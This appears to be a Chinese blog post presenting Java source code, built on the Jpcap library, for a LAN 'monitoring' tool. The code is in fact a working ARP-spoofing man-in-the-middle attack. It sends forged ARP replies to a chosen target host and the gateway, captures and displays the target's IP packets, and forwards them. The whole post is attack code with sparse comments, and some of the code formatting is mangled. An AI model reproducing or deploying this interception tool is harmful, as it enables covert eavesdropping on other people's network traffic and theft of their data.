如何使用Jpcap 包实现网络监听

实现的代码如下(这里提供几个重要的类)

 /**
  • @(#)ARP.java
  • ARP类
  • 用于解析目标主机IP的地址为相应的MAC地址
  • @author scholar_ii
  • @version 1.00 2007/12/10
  • @since JDK1.6
    */
    import jpcap.JpcapCaptor;
    import jpcap.JpcapSender;
    import java.util.Arrays;
    import java.net.InetAddress;
    import java.net.Inet4Address;
    import jpcap.packet.ARPPacket;
    import jpcap.packet.EthernetPacket;
    import jpcap.NetworkInterface;
    import jpcap.NetworkInterfaceAddress;
    import javax.swing.JOptionPane;

public class ARP
{
/**
* 静态方法:用于解析目标IP地址,得到相应的MAC地址
* @param targetIp
* 目标主机IP地址
* @return targetMAC
* 目标主机MAC地址
*/
public static byte[] getTargetMAC(InetAddress targetIp)
{
NetworkInterface[] devices=JpcapCaptor.getDeviceList();
NetworkInterface device=null;
//寻找适合的网络设备
loop: for(NetworkInterface d:devices)
{
for(NetworkInterfaceAddress addr:d.addresses)
{
if(!(addr.address instanceof Inet4Address)) continue;
byte[] bip=targetIp.getAddress();
byte[] subnet=addr.subnet.getAddress();
byte[] bif=addr.address.getAddress();
for(int i=0;i<4;i++){
bip[i]=(byte)(bip[i]&subnet[i]);
bif[i]=(byte)(bif[i]&subnet[i]);
}
if(Arrays.equals(bip,bif))
{
device=d;
break loop;
}
}
}

if(device==null)
throw new IllegalArgumentException(targetIp+" is not a local address");
JpcapCaptor captor = null;
//打开一个网络数据包捕捉者
try
{
captor=JpcapCaptor.openDevice(device,2000,false,3000);
//只接收ARP数包
captor.setFilter(“arp”,true);
}catch(Exception e)
{

}
//获得发送数据包的实例
JpcapSender sender=captor.getJpcapSenderInstance();
InetAddress srcip=null;
for(NetworkInterfaceAddress addr:device.addresses)
if(addr.address instanceof Inet4Address){
srcip=addr.address;
break;
}
//进行广播数据报的MAC地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255};
//构造REQUEST 类型的ARP的数据包
ARPPacket arp=new ARPPacket();
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST;
arp.hlen=6;
arp.plen=4;
//源MAC地址
arp.sender_hardaddr=device.mac_address;
//源IP地址
arp.sender_protoaddr=srcip.getAddress();
//目地MAC地址:广播地址全为1(二进制)
arp.target_hardaddr=broadcast;
//目地IP地址
arp.target_protoaddr=targetIp.getAddress();
//构造以太网头部
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;
ether.dst_mac=broadcast;
//ARP数据包加上以网关头部
arp.datalink=ether;
//向局域网广播ARP请求数据报
sender.sendPacket(arp);
//接收目标主面的答应ARP数据报
while(true)
{
ARPPacket p=(ARPPacket)captor.getPacket();
if(p==null)
{
throw new IllegalArgumentException(targetIp +“不是本地局域网的IP号”);
}
if(Arrays.equals(p.target_protoaddr,srcip.getAddress())){
return p.sender_hardaddr;
}
}

}

}

/**

  • @(#)TrickerThread.java
  • TrickerThread类用于向目标主与网关发送伪造的ARP
  • 数据包.起到欺骗的角色
  • @author scholar_ii
  • @version 1.00 2007/12/18
    */

import java.net.InetAddress;
import jpcap.packet.;
import jpcap.
;

public class TrickerThread extends Thread
{
/**
* 目标主机IP
/
private String targetIP;
/
*
* 网关IP
/
private String gateWayIP;
/
*
* 目标主机MAC
/
private byte[] targetMAC;
/
*
* 网关MAC
/
private byte[] gateWayMAC;
/
*
* 发往目标主机的伪造的ARP—REPY数据包
/
private ARPPacket targetPacket;
/
*
* 发往网关的伪造的ARP—REPY数据包
/
private ARPPacket gateWayPacket;
/
*
* 网卡设备
/
private NetworkInterface device;
/
*
* 网络数据包发送者
/
private JpcapSender sender = null;
/

* 构造方法
* 类的初使化
* @param device
* 网卡设备
* @param sender
* 网络数据包捕捉者
* @param targetIP
* 目标主机IP
* @param gateWayIP
* 网关IP
* @param targetMAC
* 目标主机MAC
* @param gateWayMAC
* 网关MAC
*/

public TrickerThread(NetworkInterface device, JpcapSender sender,
String targetIP, String gateWayIP, byte[] targetMAC , byte[] gateWayMAC)
{
this.device = device;
this.sender = sender;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;

     makePacket(); 
}

/*
 * 线程方法
 * 每隔200ms向目标主机与网络发送伪造的ARP_REPY数据包
 *
*/
public void run()
{
 
 sender.sendPacket(targetPacket);
 sender.sendPacket(gateWayPacket);
 System.out.println("欺骗!!");
 try
 {
  Thread.sleep(200);
 }
 catch(Exception e)
 {
  System.out.println();
 }
}

private void makePacket()
{
 /*构造欺骗目标的ARP包*/
 /*目地IP地址为目标IP,目地MAC地址为目标MAC*/
 /*源IP地址为网关IP(实际上是应该本地主IP),源MAC地址为本地主机MAC*/
 targetPacket = new ARPPacket();//发往目标主机的ARP包

targetPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
targetPacket.prototype=ARPPacket.PROTOTYPE_IP;
targetPacket.operation=ARPPacket.ARP_REPLY;//REPLY回复型ARP数据包
targetPacket.hlen=6;
targetPacket.plen=4;
targetPacket.sender_hardaddr=device.mac_address;//源MAC地址
targetPacket.target_hardaddr=targetMAC;//目地MAC地址
try
{
/源IP地址:网关IP,进行欺骗/
targetPacket.sender_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
/目地IP地址/
targetPacket.target_protoaddr=InetAddress.getByName(targetIP).getAddress();
}catch(Exception e)
{

}
/构造以太网帧的头部/
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
/源MAC地址:本地MAC/
ether.src_mac=device.mac_address;
/目地MAC地址:目标MAC/
ether.dst_mac=targetMAC;
/ARP包加上以太网帖头部/
targetPacket.datalink=ether;

/构造欺骗网关的ARP包/
/目地IP地址为网关IP,目地MAC为网关MAC/
/源IP地址为为目标IP(实际应该为目标IP本地主机IP),源MAC地址为本地主MAC/
gateWayPacket = new ARPPacket();//发往网关的ARP数据报
gateWayPacket.hardtype=ARPPacket.HARDTYPE_ETHER;
gateWayPacket.prototype=ARPPacket.PROTOTYPE_IP;
gateWayPacket.operation=ARPPacket.ARP_REPLY;
gateWayPacket.hlen=6;
gateWayPacket.plen=4;
gateWayPacket.sender_hardaddr=device.mac_address;//源MAC地址
gateWayPacket.target_hardaddr=gateWayMAC;//目标MAC地址
try
{
/源IP地址:目标IP,进行欺骗/
gateWayPacket.sender_protoaddr=InetAddress.getByName(targetIP).getAddress();
/目地IP地址:网关/
gateWayPacket.target_protoaddr=InetAddress.getByName(gateWayIP).getAddress();
}catch(Exception e)
{

}

ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=device.mac_address;//源MAC地址
ether.dst_mac=gateWayMAC;//目的MAC地址
gateWayPacket.datalink=ether;

}

}

/**

  • @(#)MinitorAntherHostThread.java
  • MinitorAntherHostThread类
  • 用于监听局域网的目标主机的通讯
  • @author scholar_ii
  • @version 1.00 2007/12/9
    */

import jpcap.;
import java.io.
;
import java.net.;
import jpcap.packet.
;
import javax.swing.table.DefaultTableModel;

public class MinitorAntherHostThread extends Thread
{
/**

  • 设备列表
    /
    private jpcap.NetworkInterface[] devices = null;
    /
    *

    • 使用的设备
      /
      private jpcap.NetworkInterface device = null ;
      /
      *
    • 网络数据包的捕捉者
      /
      private JpcapCaptor captor = null ;
      /
      *
    • 网络数据包的发送者
      /
      private JpcapSender sender = null;
      /
      *
    • 目标主机MAC地址
      /
      private byte[] targetMAC;
      /
      *
    • 网关MAC地址
      /
      private byte[] gateWayMAC;
      /
      *
    • 目标IP地址
      /
      private String targetIP;
      /
      *
    • 网关IP地址
      /
      private String gateWayIP;
      /
      *
    • 表格数据模式
      */
      private DefaultTableModel model;

    /* 构造函数

    • @param model
    •    表格数据模型
      
    • @param targetIP
    •    目标主机IP
      
    • @param gateWayIP
    •    网关IP
      
    • @param targetMAC
    •    目标主机MAC地址
      
    • @param gateWayMAC
    •    网关MAC地址
      

    */

public MinitorAntherHostThread(DefaultTableModel model, String targetIP
, String gateWayIP, byte[] targetMAC, byte[] gateWayMAC)
{
this.model = model;
this.targetIP = targetIP;
this.gateWayIP = gateWayIP;
this.targetMAC = targetMAC;
this.gateWayMAC = gateWayMAC;
try
{
initDevice();
}
catch(IOException e)
{

 }
    
  }

/**
* 初始化设备
* JpcapCaptor.getDeviceList()得到设备可能会有两个,其中一个必定是“Generic
* dialup adapter”,这是windows系统的虚拟网卡,并非真正的硬件设备。
* 注意:在这里有一个小小的BUG,如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new
* JFame()这类的语句会影响得到设备个数,只会得到真正的硬件设备,而不会出现虚拟网卡。
* 虚拟网卡只有MAC地址而没有IP地址,而且如果出现虚拟网卡,那么实际网卡的MAC将分
* 配给虚拟网卡,也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。
* @throws IOException
* 如要打开网卡设备出现异常
*/
private void initDevice() throws IOException
{
devices = JpcapCaptor.getDeviceList(); //去除虚拟网卡的处理
int index = 0;
if(devices.length>1)
index = 1;
device = devices[index];//只有一个设备
captor = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接
captor.setFilter(“ip”,true); //只监听B的IP数据包
sender = captor.getJpcapSenderInstance();//获得发送数据包的实例
}

/**
 * 打印接受到的数据包并转发
 */
 public void run()//接收数据包并转发
 {
   TrickerThread tricker = new TrickerThread(device, sender,targetIP,  gateWayIP,  targetMAC , gateWayMAC);
   /*开始欺骗线程*/
     tricker.start();
     IPPacket dataPacket = null;
     /*处理接收与转发数据包*/
     while(true)
     {
         dataPacket =(IPPacket)captor.getPacket();
         if(dataPacket!=null)
         {
          System.out.println(dataPacket);
          Object[] data = {"","","",""};
          if(dataPacket.src_ip.getHostAddress().equals(targetIP))
            {
               data[0] = "发送";
               data[1] = dataPacket.getClass().getName();
               data[2] = dataPacket;
         StringBuffer buffer = new StringBuffer();
         for(Byte a:dataPacket.data)
         {
           buffer.append(Byte.toString(a));
         }
         data[3] = new String(buffer);
         model.addRow(data);//显不数据包
               /*转发目标想发送到网络(到网关)的数据包*/
             send(dataPacket, gateWayMAC);
             System.out.println(dataPacket);
            }
            else if(dataPacket.dst_ip.getHostAddress().equals(targetIP))
            {
               data[0] = "接收";
               data[2] = dataPacket;
         StringBuffer buffer = new StringBuffer();
         for(Byte a:dataPacket.data)
         {
           buffer.append(Byte.toString(a));
         }
         data[3] = new String(buffer);
         model.addRow(data);//显不数据包
               /*转发网络(网关)想发关到目标主机的数据包*/
             send(dataPacket, targetMAC);
             System.out.println(dataPacket);
            }
           
         }
        
            
    }
}

/**
 * 转发数据包的函数
 * @param packet
 *        发送的数据包
 * @param changeMAC
 *        发送目标的物理地址
*/
private void send(Packet packet, byte[] changeMAC)
{
    EthernetPacket eth;
    if(packet.datalink instanceof EthernetPacket)
    {
         eth = (EthernetPacket)packet.datalink;
         for(int i = 0; i < 6; i++)
         {
            eth.dst_mac[i] = changeMAC[i]; //修改包以太头,改变包的目标
            eth.src_mac[i] = device.mac_address[i]; //源发送者为A
         }
        sender.sendPacket(packet);
   }
}

}

/**

  • @(#)MinitorAntherHostPane.java
  • @author
  • @version 1.00 2007/12/9
    */
    import javax.swing.JLabel;

import javax.swing.JTable;
import javax.swing.JPanel;
import javax.swing.JButton;
import javax.swing.JTextField;
import java.awt.FlowLayout;
import javax.swing.JCheckBox;
import java.net.InetAddress;
import java.awt.BorderLayout;
import javax.swing.JScrollPane;
import java.awt.event.MouseEvent;
import javax.swing.BorderFactory;
import java.awt.event.MouseAdapter;
import java.awt.event.ActionListener;
import javax.swing.table.DefaultTableModel;
import javax.swing.table.DefaultTableModel;
public class MinitorAntherHostPane extends JPanel
{
private JButton initButton;
private JButton startButton;
private JButton stopButton;
private JButton endButton;
private JPanel operatePane;
private JTable showPackage;
private DefaultTableModel model;
private JScrollPane showPane;
private JPanel northPane ;
private JLabel label;
private JLabel label2;
private JLabel label3;
private JLabel label4;
private JTextField textField;
private JTextField textField2;
private JTextField textField3;
private JTextField textField4;
private JButton arpButton;
private String targetIp;
private String gateWayIp;
private byte[] targetMac;
private byte[] gateWayMac;
private MinitorAntherHostThread minitor;
public MinitorAntherHostPane()
{
Object[][] data = {{}};
Object[] title = {“监听类型”,“数据包类型”,“数据包通信信息”,“数据包的数据”};
model = new DefaultTableModel(data, title);
showPackage = new JTable(model);
showPackage.setAutoResizeMode(JTable.AUTO_RESIZE_OFF);
showPane = new JScrollPane(showPackage);
showPane.setBorder(BorderFactory.createTitledBorder(“监听的数据包列表”));

 initButton = new JButton("开始监听");
 initButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    initButton.setEnabled(false);
    stopButton.setEnabled(true);
    MinitorAntherHostThread minitor = new MinitorAntherHostThread(model,targetIp,gateWayIp,targetMac,gateWayMac);
    minitor.start();
   }
  }); 
 startButton = new JButton("继续监听");
 startButton.setEnabled(false);
 startButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    stopButton.setEnabled(true);
       endButton.setEnabled(false);
       minitor.resume();
   }
  }
   );
 stopButton = new JButton("暂停监听");
 stopButton.setEnabled(false);
 stopButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    stopButton.setEnabled(false);
    startButton.setEnabled(true);
    endButton.setEnabled(true);
    minitor.suspend();
    
   }
  }
   );
 endButton = new JButton("终止监听");
 endButton.setEnabled(false);
 endButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    initButton.setEnabled(true);
    startButton.setEnabled(false);
    stopButton.setEnabled(false);
    endButton.setEnabled(false);
    try
    {
     minitor.destroy();
    }
    catch(Exception ex)
    {
     
    }
    
   }
  }
   );
 operatePane = new JPanel();
 operatePane.add(initButton);
 operatePane.add(startButton);
 operatePane.add(stopButton);
 operatePane.add(endButton);
 operatePane.setBorder(BorderFactory.createTitledBorder("操作选项"));
 
 label = new JLabel("目标主机的IP地址:");
 textField = new JTextField(9);
 arpButton = new JButton("解析MAC地址");
 arpButton.addMouseListener(
  new MouseAdapter()
  {
   public void mouseClicked(MouseEvent e)
   {
    if(textField.getText().equals(""))
    {
     
    }
    else
    {
     try
     {
      targetIp = textField.getText();
      targetMac = ARP.getTargetMAC(InetAddress.getByName(targetIp));
     }
     catch(Exception ex)
     {
      
     }
     StringBuffer buffer = new StringBuffer();
     for (byte b : targetMac)
           buffer.append(Integer.toHexString(b&0xff) + ":");
        textField2.setText(new String(buffer));
       
        try
     {
      gateWayIp = textField3.getText();
      gateWayMac = ARP.getTargetMAC(InetAddress.getByName(gateWayIp));
     }
     catch(Exception ex)
     {
      
     }
     buffer = new StringBuffer();
     for (byte b : gateWayMac)
           buffer.append(Integer.toHexString(b&0xff) + ":");
        textField4.setText(new String(buffer));
    }
   }
  }
   );
 label2 = new JLabel("目标主机MAC地址:");
 textField2 = new JTextField(9);
 label3 = new JLabel("网关IP地址:");
 textField3 = new JTextField(9);
 label4 = new JLabel("网关MAC地址:");
 textField4 = new JTextField(9);
 northPane = new JPanel(new FlowLayout(FlowLayout.LEFT));
 northPane.add(label3);
 northPane.add(textField3);
 northPane.add(label);
 northPane.add(textField);
 northPane.add(arpButton);
 northPane.add(label4);
 northPane.add(textField4);
 northPane.add(label2);
 northPane.add(textField2);
 setLayout(new BorderLayout());
 add(northPane, BorderLayout.NORTH);
 add(showPane, BorderLayout.CENTER);
 add(operatePane, BorderLayout.SOUTH);
}

}

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值